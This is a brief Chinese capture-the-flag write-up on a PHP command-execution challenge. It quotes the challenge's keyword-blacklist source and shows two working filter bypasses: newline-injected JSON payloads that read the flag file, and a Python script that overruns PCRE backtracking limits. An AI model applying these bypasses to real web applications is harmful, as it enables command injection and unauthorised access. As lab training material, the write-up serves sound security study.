绕过一直很麻烦,这次也是意想不到的绕过
它给出了提示要求json格式
先尝试一下{"cmd":"ls"}
的确可以执行。接下来就记录过滤了那些关键字。发现键盘上有的特殊符号好像都被过滤。
这是别的大佬那找来的源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
总结下来两种方法
1.使用%0a换行符绕过。因为preg_match只匹配第一行。
2.回溯次数绕过
首先换行符绕过
{%0a"cmd":"ls /"%0a}
flag在home目录下,不知道为什么find命令返回为空。。。
cat在这里仍然不能用。应该是环境变量配置被改变,所以需要使用/bin/cat调用命令
{%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0A}
利用回溯次数绕过
需要用POST发送请求,因为GET会因为头太大报错
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' #超过一百万,这里写一千万不会出结果。
res = requests.post("ip", data={"cmd":payload})
print(res.text)
回溯可关注大佬文章
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
哎又是脑壳痛的一天